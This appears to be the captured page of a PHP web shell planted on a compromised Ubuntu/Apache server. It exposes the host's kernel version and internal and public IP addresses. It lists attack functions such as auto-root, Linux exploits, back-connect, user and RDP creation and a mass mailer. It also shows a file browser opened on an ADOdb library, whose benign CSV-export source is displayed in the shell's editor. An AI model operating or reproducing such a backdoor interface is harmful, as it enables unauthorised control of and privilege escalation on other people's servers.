Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 13.59.116.142
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
website /
gack /
libs /
adodb5 /
[ HOME SHELL ]
Name
Size
Permission
Action
contrib
[ DIR ]
drwxr-xr-x
cute_icons_for_site
[ DIR ]
drwxr-xr-x
datadict
[ DIR ]
drwxr-xr-x
docs
[ DIR ]
drwxr-xr-x
drivers
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
perf
[ DIR ]
drwxr-xr-x
session
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
xsl
[ DIR ]
drwxr-xr-x
adodb-active-record.inc.php
16.46
KB
-rwxr-xr-x
adodb-csvlib.inc.php
8.25
KB
-rwxr-xr-x
adodb-datadict.inc.php
26.63
KB
-rwxr-xr-x
adodb-error.inc.php
8.35
KB
-rwxr-xr-x
adodb-errorhandler.inc.php
2.69
KB
-rwxr-xr-x
adodb-errorpear.inc.php
2.22
KB
-rwxr-xr-x
adodb-exceptions.inc.php
2.17
KB
-rwxr-xr-x
adodb-iterator.inc.php
704
B
-rwxr-xr-x
adodb-lib.inc.php
34.6
KB
-rwxr-xr-x
adodb-memcache.lib.inc.php
3.01
KB
-rwxr-xr-x
adodb-pager.inc.php
7.93
KB
-rwxr-xr-x
adodb-pear.inc.php
9.33
KB
-rwxr-xr-x
adodb-perf.inc.php
31
KB
-rwxr-xr-x
adodb-php4.inc.php
322
B
-rwxr-xr-x
adodb-time.inc.php
41.27
KB
-rwxr-xr-x
adodb-xmlschema.inc.php
54.02
KB
-rwxr-xr-x
adodb-xmlschema03.inc.php
61.19
KB
-rwxr-xr-x
adodb.inc.php
120.51
KB
-rwxr-xr-x
license.txt
25.29
KB
-rwxr-xr-x
mysql_lib.php
4.58
KB
-rwxr-xr-x
pivottable.inc.php
6.13
KB
-rwxr-xr-x
readme.txt
1.63
KB
-rwxr-xr-x
rsfilter.inc.php
1.48
KB
-rwxr-xr-x
server.php
2.25
KB
-rwxr-xr-x
toexport.inc.php
3.29
KB
-rwxr-xr-x
tohtml.inc.php
5.4
KB
-rwxr-xr-x
xmlschema.dtd
1.42
KB
-rwxr-xr-x
xmlschema03.dtd
1.68
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : toexport.inc.php
<?php /** * @version V4.93 10 Oct 2006 (c) 2000-2008 John Lim (jlim#natsoft.com.my). All rights reserved. * Released under both BSD license and Lesser GPL library license. * Whenever there is any discrepancy between the two licenses, * the BSD license will take precedence. * * Code to export recordsets in several formats: * * AS VARIABLE * $s = rs2csv($rs); # comma-separated values * $s = rs2tab($rs); # tab delimited * * TO A FILE * $f = fopen($path,'w'); * rs2csvfile($rs,$f); * fclose($f); * * TO STDOUT * rs2csvout($rs); */ // returns a recordset as a csv string function rs2csv(&$rs,$addtitles=true) { return _adodb_export($rs,',',',',false,$addtitles); } // writes recordset to csv file function rs2csvfile(&$rs,$fp,$addtitles=true) { _adodb_export($rs,',',',',$fp,$addtitles); } // write recordset as csv string to stdout function rs2csvout(&$rs,$addtitles=true) { $fp = fopen('php://stdout','wb'); _adodb_export($rs,',',',',true,$addtitles); fclose($fp); } function rs2tab(&$rs,$addtitles=true) { return _adodb_export($rs,"\t",',',false,$addtitles); } // to file pointer function rs2tabfile(&$rs,$fp,$addtitles=true) { _adodb_export($rs,"\t",',',$fp,$addtitles); } // to stdout function rs2tabout(&$rs,$addtitles=true) { $fp = fopen('php://stdout','wb'); _adodb_export($rs,"\t",' ',true,$addtitles); if ($fp) fclose($fp); } function _adodb_export(&$rs,$sep,$sepreplace,$fp=false,$addtitles=true,$quote = '"',$escquote = '"',$replaceNewLine = ' ') { if (!$rs) return ''; //---------- // CONSTANTS $NEWLINE = "\r\n"; $BUFLINES = 100; $escquotequote = $escquote.$quote; $s = ''; if ($addtitles) { $fieldTypes = $rs->FieldTypesArray(); reset($fieldTypes); while(list(,$o) = each($fieldTypes)) { if (!$o) $v = ''; else $v = $o->name; if ($escquote) $v = str_replace($quote,$escquotequote,$v); $v = strip_tags(str_replace("\n", $replaceNewLine, str_replace("\r\n",$replaceNewLine,str_replace($sep,$sepreplace,$v)))); $elements[] = $v; } $s .= implode($sep, $elements).$NEWLINE; } $hasNumIndex = isset($rs->fields[0]); $line = 0; $max = $rs->FieldCount(); while (!$rs->EOF) { $elements = array(); $i = 0; if ($hasNumIndex) { for ($j=0; $j < $max; $j++) { $v = $rs->fields[$j]; if (!is_object($v)) $v = trim($v); else $v = 'Object'; if ($escquote) $v = str_replace($quote,$escquotequote,$v); $v = strip_tags(str_replace("\n", $replaceNewLine, str_replace("\r\n",$replaceNewLine,str_replace($sep,$sepreplace,$v)))); if (strpos($v,$sep) !== false || strpos($v,$quote) !== false) $elements[] = "$quote$v$quote"; else $elements[] = $v; } } else { // ASSOCIATIVE ARRAY foreach($rs->fields as $v) { if ($escquote) $v = str_replace($quote,$escquotequote,trim($v)); $v = strip_tags(str_replace("\n", $replaceNewLine, str_replace("\r\n",$replaceNewLine,str_replace($sep,$sepreplace,$v)))); if (strpos($v,$sep) !== false || strpos($v,$quote) !== false) $elements[] = "$quote$v$quote"; else $elements[] = $v; } } $s .= implode($sep, $elements).$NEWLINE; $rs->MoveNext(); $line += 1; if ($fp && ($line % $BUFLINES) == 0) { if ($fp === true) echo $s; else fwrite($fp,$s); $s = ''; } } if ($fp) { if ($fp === true) echo $s; else fwrite($fp,$s); $s = ''; } return $s; } ?>
Close